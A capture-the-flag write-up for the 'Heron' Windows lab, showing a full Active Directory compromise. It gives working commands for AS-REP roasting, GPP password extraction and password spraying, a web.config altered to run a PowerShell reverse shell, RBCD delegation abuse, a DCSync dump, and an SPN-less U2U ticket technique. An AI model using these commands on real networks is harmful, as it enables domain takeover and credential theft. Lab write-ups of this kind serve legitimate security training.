Heron is a Medium-difficulty Windows machine that emphasizes internal network pivoting, Kerberos abuse, and Resource-Based Constrained Delegation (RBCD) in a restricted environment. Initial access is gained through a jumpbox over SSH, with proxying set up via FoxyProxy and ProxyChains to access an internal web app leaking user emails. An AS-REP roasting attack leads to the compromise of a user account, which has read access to SYSVOL and exposes a GPP password for a local admin. Password spraying with these credentials uncovers writable access to a web application directory, allowing web.config modification for remote code execution. Lateral movement reveals credentials for another user, and further enumeration exposes a privileged user with WriteAccountRestrictions over the domain controller. Without machine account creation rights, RBCD is performed using a compromised jumpbox and later via a SPN-less user by leveraging Kerberos TGT and session key manipulation, ultimately leading to a successful DCSync and full domain compromise.

Enumeration

As per the lab instructions, we only have access to port 22 and cannot reach the Domain Controller externally. We can enable an SSH proxy via the jumpbox.

I configured the FoxyProxy browser extension to access internal web applications using a SOCKS proxy. The port matches the one set in /etc/proxychains.conf.

I visited the internal web application and found 3 users emails.

Initial Access

AS-REP Roasting

Using the discovered emails, I performed an AS-REP roasting attack and retrieved a hash for the user Samuel.Davies.
GetNPUsers.py -request -format hashcat -no-pass -usersfile user.txt -dc-ip "10.10.249.213" -outputfile asrep.txt heron.vl/

I successfully cracked the hash using Hashcat.

GPP Credentials

Samuel has READ access to the SYSVOL share.

Using netexec with the GPP_Password module, I was able to extract a local admin password.

Web Application Code Execution

Using ldapsearch, I quickly enumerated a list of users:
ldapsearch -x -LLL -H ldap://mucdc.heron.vl -D '[email protected]' -b 'DC=heron,DC=vl' -w '<Password>' | grep userPrincipalName | awk '{print $2}' | cut -d '@' -f 1 > allusers.txt

After a password spray using the extracted password, I found that svc-web-accounting-d uses the same credentials and has READ & WRITE access to the accounting$ share.

Inside the share, I found files related to the Accounting App, including its config file.

I modified the web.config file to execute a reverse shell by changing processPath to PowerShell and adding the base64 payload in the arguments. Setting hostingModel to OutOfProcess enables execution outside the IIS worker process.

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<location path="." inheritInChildApplications="false">
<system.webServer>
<handlers>
<add name="aspNetCore" path="todo" verb="*" modules="AspNetCoreModuleV2" resourceType="Unspecified" />
</handlers>
<aspNetCore processPath="powershell" arguments="-e PowerShell Base64" hostingModel="OutOfProcess" />
</system.webServer>
</location>
</configuration>
<!--ProjectGuid: 803424B4-7DFD-4F1E-89C7-4AAC782C27C4-->

After replacing the web.config and visiting the directory, I received a reverse shell.

Within one of the files, I found credentials for the Jumpbox user.

I used sudo su with those credentials to escalate privileges on the jumpbox.

Domain Compromise

Using the newly found password, another round of password spraying revealed that Julian.Pratt reused the same credentials.

Inside her home directory, I found a shortcut file that contained the credentials for adm_prju.

The user adm_prju has WriteAccountRestrictions permission on MUCDC, which allows modification of the machine account attributes.

However, we do not have permissions to create new machine accounts.

RBCD With SPN

Since we can’t create a machine account, but have access to the domain-joined Jumpbox, we can extract its NTLM hash from /etc/krb5.keytab and decrypt it using keytabextract.py.

We then configure delegation so FRAJMP$ (Jumpbox) can impersonate MUCDC, request a service ticket as the impersonated user, and perform a DCSync attack.

1
2
3
4
5
6
7
8
9
# Grant delegation
rbcd.py -delegate-from 'FRAJMP$' -delegate-to 'mucdc$' -dc-ip 10.10.173.21 -action 'write' 'heron.vl/adm_prju:<Pasword>'

# Get service ticket
getST.py -spn 'cifs/mucdc.heron.vl' -impersonate '_admin' 'heron.vl/FRAJMP$' -hashes :<NTLM Hash>

# Dump secrets
export KRB5CCNAME=<Ticket>
secretsdump.py -k mucdc.heron.vl

RBCD On SPN-Less User

Even without a Service Principal Name (SPN), the attack is possible. In scenarios where ms-DS-MachineAccountQuota = 0 and no domain-joined machines are compromised, we can still use the user account itself.

First, assign delegation rights directly from adm_prju to MUCDC.

1
2
3
4
5
# Change Attribute
rbcd.py -delegate-from 'adm_prju' -delegate-to 'mucdc$' -dc-ip 10.10.173.21 -action 'write' 'heron.vl/adm_prju:<Pasword>'

# Check the Attributes
rbcd.py -delegate-from 'adm_prju' -delegate-to 'mucdc$' -dc-ip 10.10.173.21 -action 'read' 'heron.vl/adm_prju:<Pasword>'

Initially, requesting the service ticket fails.

To bypass this, first request a TGT using the NTLM hash of adm_prju, then extract the ticket’s session key.

1
2
3
4
5
# Ticket Granting Ticket
getTGT.py -hashes :<hash> 'heron.vl'/'adm_prju' -dc-ip 10.10.233.37

# Extracting Ticket Session Key
describeTicket.py 'adm_prju.ccache' | grep 'Ticket Session Key'

Replace the NTLM hash with the extracted session key and use the ticket to request a service ticket via U2U impersonation.

1
2
3
4
5
# Change Hash
changepasswd.py -newhashes :<Session Key> 'heron.vl'/'adm_prju':'ayDMWV929N9wAiB4'@'heron.vl'

# Request Service Ticket
getST.py -u2u -impersonate "_admin" -spn "cifs/mucdc.heron.vl" -k -no-pass 'heron.vl'/'adm_prju'

Finally, use the obtained service ticket to access the Domain Controller.

1
2
export KRB5CCNAME=_admin@[email protected]
netexec smb 10.10.233.37 --use-kcache